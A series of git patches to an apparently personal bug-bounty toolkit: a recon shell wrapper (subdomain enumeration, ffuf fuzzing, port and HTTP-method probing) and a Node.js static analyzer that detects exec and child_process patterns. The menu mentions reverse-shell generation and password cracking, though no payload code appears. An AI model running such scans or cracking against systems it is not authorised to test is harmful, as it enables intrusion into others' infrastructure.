1b39b05b3a3f89f1489166bb0de514fd52f7c49a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 8 Jul 2022 22:31:51 +0100 Subject: [PATCH 151/289] [s0mbra] hide some options from menu; rename takealook to peek --- s0mbra.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 51b085f..59b2baa 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -238,7 +238,7 @@ lookaround() { } # quick lookaround, but for single domain - no need to create scope file -takealook() { +peek() { TMPDIR=$(pwd) START_TIME=$(date) DOMAIN=$1 @@ -762,8 +762,8 @@ case "$cmd" in lookaround) lookaround "$2" ;; - takealook) - takealook "$2" + peek) + peek "$2" ;; recon) recon "$2" "$3" "$4" @@ -880,7 +880,7 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" - echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" @@ -900,11 +900,11 @@ case "$cmd" in echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" - echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + # echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + # echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + # echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" + # echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" + # echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" From 31b4bed64b03d17dd66d067a21e6d05231c404a7 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 9 Jul 2022 10:10:16 +0100 Subject: [PATCH 152/289] [s0mbra] remove unused code --- s0mbra.sh | 9 --------- 1 file changed, 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 59b2baa..2c82624 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -1,9 +1,5 @@ #!/bin/bash # shellcheck disable=SC1087,SC2181,SC2162,SC2013 -### S0mbra ### -# BugBounty/CTF/PenTest/Hacking suite -# collection of various wrappers, multi-commands, tips&tricks, shortcuts etc. -# CTX: bl4de@wearehackerone.com HACKING_HOME="/Users/bl4de/hacking" @@ -22,11 +18,6 @@ CYAN='\033[36m' CLR='\033[0m' NEWLINE='\n' -# config commands -set_ip() { - export IP="$1" -} - # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { if [[ -z "$2" ]]; then From 861419c021931dfa38728736607d0e867948adcb Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 10 Jul 2022 10:08:21 +0100 Subject: [PATCH 153/289] nodestructor] Node patterns update --- nodestructor/nodestructor.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index be199fb..e935ad0 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -55,12 +55,18 @@ ".*eval\(", ".*exec\(", ".*execSync\(", + ".*execFile\(", + ".*execFileSync\(", ".*res.write\(", ".*child_process", ".*child_process.exec\(", ".*\sFunction\(", ".*spawn\(", ".*fork\(", + "\.shell", + "\.env", + "\.exitCode", + "\.pid", ".*newBuffer\(", ".*\.constructor\(", ".*mysql\.createConnection\(", From 328e0483b919c5fe6952daebce2dd9ed60e60de4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 13 Jul 2022 20:40:22 +0100 Subject: [PATCH 154/289] [s0mbra, hasher] hashing improvements --- hasher.py | 23 ++++++++++++++++++++--- s0mbra.sh | 4 ++-- 2 files changed, 22 insertions(+), 5 deletions(-) diff --git a/hasher.py b/hasher.py index b849f30..2446a72 100755 --- a/hasher.py +++ b/hasher.py @@ -3,7 +3,6 @@ import sys import hashlib -import urllib import base64 description = """ @@ -13,11 +12,17 @@ def usage(): + ''' + prints usage info + ''' print(description) exit(0) def hex_encode(s): + ''' + HEX-encode string + ''' enc = '' for c in s: enc = enc + (str(hex(c)).replace('0x', '')) @@ -25,8 +30,20 @@ def hex_encode(s): def main(s): - print("SHA1\t\t{}".format(hashlib.sha1(s.encode('utf-8')).hexdigest())) - print("MD5 \t\t{}".format(hashlib.md5(s.encode('utf-8')).hexdigest())) + ''' + prints all hashes for provided string + ''' + algorithms_available = ['blake2s', 'blake2b', 'sha224', + 'sha256', 'sha512', 'sha384', 'sha1', 'md5'] + print("\nHASH:\n") + for h in algorithms_available: + if hasattr(hashlib, h): + try: + h_method = getattr(hashlib, h) + print(f"{h}\t\t{h_method(s.encode('utf-8')).hexdigest()}") + except TypeError as e: + pass + print("\nENCODE:\n") print("Base64 \t\t{}".format(base64.b64encode(s.encode('utf-8')))) print("HEX encoded \t{}".format(hex_encode(s.encode('utf-8')))) diff --git a/s0mbra.sh b/s0mbra.sh index 2c82624..9f1735b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -837,7 +837,7 @@ case "$cmd" in b64) b64 "$2" ;; - hasher) + hashme) hshr "$2" ;; fu) @@ -915,7 +915,7 @@ case "$cmd" in echo -e "$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" - echo -e "$CYAN hasher $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" + echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" echo -e "$CLR" ;; From e2293d36a949bbdf5f5f03cf22e381e811c8ca08 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 19 Jul 2022 11:59:49 +0100 Subject: [PATCH 155/289] [nodestructor] small bugfixing --- nodestructor/nodestructor.py | 7 ++-- nodestructor/static_analysis.py | 59 --------------------------------- nodestructor/test.py | 7 ---- nodestructor/testfiles/1.js | 5 +++ 4 files changed, 9 insertions(+), 69 deletions(-) delete mode 100755 nodestructor/static_analysis.py delete mode 100755 nodestructor/test.py create mode 100644 nodestructor/testfiles/1.js diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index e935ad0..1a4d9cd 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -72,7 +72,8 @@ ".*mysql\.createConnection\(", ".*\.query\(", ".*serialize\(", - ".*unserialize\(" + ".*unserialize\(", + ".*__proto__" ] browser_patterns = [ @@ -185,7 +186,7 @@ url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") urls = [] -patterns = nodejs_patterns + npm_patterns +patterns = nodejs_patterns total_files = 0 patterns_identified = 0 files_with_identified_patterns = 0 @@ -297,7 +298,7 @@ def perform_code_analysis(src, pattern="", verbose=False): print_filename = False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, - ' code pattern identified: ', _code, verbose, _file.name) + ' pattern found ', _code, verbose, _file.name) # URL searching if identify_urls == True: diff --git a/nodestructor/static_analysis.py b/nodestructor/static_analysis.py deleted file mode 100755 index ae17601..0000000 --- a/nodestructor/static_analysis.py +++ /dev/null @@ -1,59 +0,0 @@ -#!/usr/bin/python -import re -import sys -import argparse - -from imports.beautyConsole import beautyConsole - -jsfile = open('/Users/bl4de/hacking/bugbounty/Roche_Private/src/admin-client.js', 'r') -file_read = jsfile.readlines() - - -# variables -variables = [] -variable_to_trace = '' - -variable_definition_regex = '(let|const|var)\s+([_$a-zA-Z0-9]+)' - -line_no = 0 - - -def decorate_varname(var_name): - return beautyConsole.getColor("red") + var_name + beautyConsole.getColor("white") - - -def decorate_source(src_line): - return beautyConsole.getColor("yellow") + src_line + beautyConsole.getColor("white") - -parser = argparse.ArgumentParser() -parser.add_argument( - "-v", "--variable", help="Name of variable to trace") - -ARGS = parser.parse_args() - -if ARGS.variable: - variable_to_trace = ARGS.variable.strip() - -print("\n\n[+] STARTING ANALYSIS...\n") -for line in file_read: - line = line.replace('\n', '') - line_no = line_no + 1 - - res = re.search(variable_definition_regex, line) - if res: - variable_name = res.group(2) - if variable_name == variable_to_trace: - print("\n[+] found {} variable definition in line {}:\n {}"\ - .format(decorate_varname(variable_name), line_no, decorate_source(line))) - inner_line_no = 0 - - if variable_name == variable_to_trace: - for inner_line in file_read: - inner_line = inner_line.replace('\n', '') - inner_line_no = inner_line_no + 1 - if variable_name + '=' in inner_line.replace(' ', ''): - print("\n\t{} used in assignment in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line))) - if '({})'.format(variable_name) in inner_line.replace(' ', ''): - print("\n\t{} used in function call as an argument in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line))) - -print("\n\n[+] DONE\n") diff --git a/nodestructor/test.py b/nodestructor/test.py deleted file mode 100755 index 036d1cf..0000000 --- a/nodestructor/test.py +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/python -import re - -EXCLUDE = ['babel','xxx','eee'] -subdir = 'node_modules/babel-register/lib' - -print [e in subdir for e in EXCLUDE] \ No newline at end of file diff --git a/nodestructor/testfiles/1.js b/nodestructor/testfiles/1.js new file mode 100644 index 0000000..b701134 --- /dev/null +++ b/nodestructor/testfiles/1.js @@ -0,0 +1,5 @@ +const obj1 = {}; +obj1.__proto__.x = 1; +console.log(obj1.x === 1); // true +const obj2 = {}; +console.log(obj2.x === 1); // true From 929e00ca816a2af40a3f99982fbab63889def314 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 22 Jul 2022 11:48:07 +0100 Subject: [PATCH 156/289] [s0mbra] improvements of options for fu and recon --- s0mbra.sh | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9f1735b..dbf5c67 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -277,6 +277,7 @@ recon() { FEROXBUSTER="1" X8="1" SUBDOMANIZER="1" + SELECTED_OPTIONS="nmap, nikto, ffuf, feroxbuster, x8, subdomanizer" else # set options: NMAP=$(echo $2|grep 'nmap'|wc -l) @@ -286,6 +287,7 @@ recon() { FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) X8=$(echo $2|grep 'x8'|wc -l) SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) + SELECTED_OPTIONS=$2 fi # set proto: @@ -301,7 +303,7 @@ recon() { TMPDIR=$(pwd)/s0mbra START_TIME=$(date) - echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME \n\t using selected options: $2...$CLR" + echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME \n\t using selected options: $SELECTED_OPTIONS...$CLR" # onaws echo -e "\n$GREEN--> onaws? $CLR\n" @@ -358,8 +360,12 @@ recon() { fu() { clear - # adjust here to add/remove HTTP response status code(s) to match on: - HTTP_RESP_CODES=200,206,301,302,403,500 + # set response status code(s) to match on: + if [[ -z $4 ]]; then + HTTP_RESP_CODES=200,206,301,302,403,500 + else + HTTP_RESP_CODES=$4 + fi echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES...$CLR" @@ -841,7 +847,7 @@ case "$cmd" in hshr "$2" ;; fu) - fu "$2" "$3" "$4" + fu "$2" "$3" "$4" "$5" ;; get) get "$2" @@ -874,7 +880,7 @@ case "$cmd" in echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" echo -e "$CYAN methods $GRAY[HOST]$CLR\t\t\t\t\t -> enumerates HTTP methods on HOST" echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" @@ -916,7 +922,6 @@ case "$cmd" in echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" - echo -e "$CLR" ;; esac From a2896c902447c99cf2970762711e7695300bf6fd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 22 Jul 2022 13:54:06 +0100 Subject: [PATCH 157/289] [s0mbra] fix for fu optional and params --- s0mbra.sh | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index dbf5c67..7d65754 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -375,8 +375,13 @@ fu() { # dir path has to end with / to be identified ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else - # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + if [[ $3 == "-" ]]; then + # if $3 equals - (dash) that means we should ignore it at all + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + fi fi else ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" From 87efb76379ba97e47dd5afd019716f959606da67 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 22 Jul 2022 14:00:47 +0100 Subject: [PATCH 158/289] [s0mbra] methods options improvements --- s0mbra.sh | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7d65754..8c6e5ea 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -690,9 +690,9 @@ get() { PORTS=(80 280 443 591 593 981 1311 2480 3000 4567 5104 5985 7000 7001 7002 8000 8008 8080 8222 8443 8530 9080 9443 12443 16080 18091 18092) echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" for PORT in "${PORTS[@]}"; do - echo -e "$YELLOW[s0mbra] Executing HTTP request to port $PORT...$CLR" + echo -e "$YELLOW\n[s0mbra] Executing HTTP request to port $PORT...$CLR" curl -I -m 10 http://$1:$PORT - echo -e "$YELLOW[s0mbra] Executing HTTPS request to port $PORT...$CLR" + echo -e "$YELLOW\n[s0mbra] Executing HTTPS request to port $PORT...$CLR" curl -I -m 10 https://$1:$PORT echo done @@ -747,7 +747,11 @@ methods() { echo -e "$BLUE[s0mbra] Enumerate available HTTP methods on $1...$CLR" for HTTP_METHOD in "${METHODS[@]}"; do echo -e "$YELLOW[s0mbra] Executing $HTTP_METHOD / HTTP/1.1...$CLR" - curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 + if [[ -z $2 ]]; then + curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 | grep HTTP + else + curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 + fi echo done echo -e "$BLUE\n[s0mbra] Done! $CLR" @@ -858,7 +862,7 @@ case "$cmd" in get "$2" ;; methods) - methods "$2" + methods "$2" "$3" ;; endpoints) endpoints "$2" "$3" @@ -887,7 +891,7 @@ case "$cmd" in echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" - echo -e "$CYAN methods $GRAY[HOST]$CLR\t\t\t\t\t -> enumerates HTTP methods on HOST" + echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From c2b68fcd0bb6f2f7f74a2aa555cbac86ad98fc52 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 23 Jul 2022 19:15:52 +0100 Subject: [PATCH 159/289] [s0mbra] Default dict in fu --- s0mbra.sh | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 8c6e5ea..7e4a1f2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -360,6 +360,14 @@ recon() { fu() { clear + + # use starter.txt as default dictionary + if [[ -z $2 ]]; then + SELECTED_DICT=starter + else + SELECTED_DICT=$2 + fi + # set response status code(s) to match on: if [[ -z $4 ]]; then HTTP_RESP_CODES=200,206,301,302,403,500 @@ -367,24 +375,24 @@ fu() { HTTP_RESP_CODES=$4 fi - echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES...$CLR" + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $SELECTED_DICT.txt dictionary matching $HTTP_RESP_CODES...$CLR" if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else if [[ $3 == "-" ]]; then # if $3 equals - (dash) that means we should ignore it at all - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" } From ebfeb4927d97a5dcb0246e98ad6050276448e28f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 24 Jul 2022 11:39:19 +0100 Subject: [PATCH 160/289] [s0mbra] Make API tools as a separate menu category --- s0mbra.sh | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7e4a1f2..113d9c6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -900,9 +900,10 @@ case "$cmd" in echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" - echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" - echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" + echo -e "$BLUE_BG:: API ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" + echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> runs bucket-disclose.sh against [URL]" From b8a6737b590936852a7470572903917416bb4f94 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 27 Jul 2022 15:03:20 +0100 Subject: [PATCH 161/289] [s0mbra] change output files extension --- s0mbra.sh | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 113d9c6..e17914c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -201,30 +201,30 @@ lookaround() { # sublister echo -e "\n$GREEN--> sublister$CLR\n" for domain in $(cat scope); do - sublister -v -d $domain -o "$TMPDIR/s0mbra_recon_sublister_$domain.tmp" + sublister -v -d $domain -o "$TMPDIR/s0mbra_recon_sublister_$domain.log" done # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.log # prepare list of uniqe subdomains cat s0mbra_recon_sub* > step1 sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > s0mbra_recon_subdomains_final.tmp + sort -u -k 1 step2 > s0mbra_recon_subdomains_final.log rm -f step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" - echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.tmp + grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -237,29 +237,29 @@ peek() { # sublister echo -e "\n$GREEN--> sublister$CLR\n" - sublister -v -d $DOMAIN -o "$TMPDIR/s0mbra_recon_sublister_$DOMAIN.tmp" + sublister -v -d $DOMAIN -o "$TMPDIR/s0mbra_recon_sublister_$DOMAIN.log" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.log # prepare list of uniqe subdomains cat s0mbra_recon_sub* > step1 sed 's/
